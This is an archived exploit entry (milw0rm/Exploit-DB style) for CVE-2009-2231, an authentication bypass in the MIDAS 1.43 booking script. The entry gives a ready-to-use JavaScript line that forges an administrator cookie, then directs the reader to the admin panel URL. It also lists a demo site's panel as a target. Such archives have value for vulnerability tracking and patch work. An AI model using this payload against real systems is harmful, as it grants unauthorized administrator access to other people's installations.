MIDAS 1.43 - (Authentication Bypass) Insecure Cookie Handling

Author: HxH
type: webapps
platform: cgi
port: 
date_added: 2009-06-21 
date_updated:  
verified: 1 
codes: OSVDB-55439;CVE-2009-2231 
tags: 
aliases:  
screenshot_url:  
application_url:

--------------------------------------------

MIDAS Insecure Cookie Handling Vulnerability

--------------------------------------------

Author.: HxH

Contact: HxH[at]live[dot]at

---------------------------

Script.: MIDAS

Home...: http://mid.as

-------------------------------------------------------------------------------------------------

Exploit: javascript:document.cookie="MIDAS=admin|Administrator|1|data0n9a|en-US|Default; path=/";

Note...: After make cookie go direct to http://[website]/[script]/level1.pl?x=0

-------------------------------------------------------------------------------------------------

Demo...: http://demo.mid.as

Panel..: http://demo.mid.as/level1.pl?x=0

-----------------------------------------

Greetz.: ~ Jiko ~ Sniper Code

-----------------------------

# milw0rm.com [2009-06-22]